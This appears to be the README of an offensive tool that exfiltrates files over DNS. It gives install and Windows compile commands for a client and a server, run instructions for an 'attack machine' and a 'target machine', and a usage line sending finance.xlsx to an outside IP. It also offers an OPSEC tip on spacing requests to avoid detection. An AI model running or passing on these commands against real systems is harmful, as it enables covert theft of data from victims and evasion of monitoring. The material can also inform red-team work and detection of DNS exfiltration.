Data exfiltration over DNS without the need for a domain.
install the dependencies
nimble install ndns
nimble install zippy
Nim is cross compilation, compile according to your platform (e.g for Windows x64):
nim c -d:mingw -d:release --app:console --opt:size --cpu:amd64 ./dnx.nim
nim c -d:mingw -d:release --app:console --opt:size --cpu:amd64 ./dnxsvr.nim
Run dnxsvr on the attack machine:
.\dnxsvr.exe
Run dnx on the target machine:
.\dnx.exe
[!] Use: dnx.exe <IP> <File> <Time between requests in ms>
[!] e.g: dnx.exe 127.0.0.1 file.pdf 1000
.\dnx.exe 192.168.0.100 finance.xlsx 500
OPSEC: The longer the time between requests, the more opsec!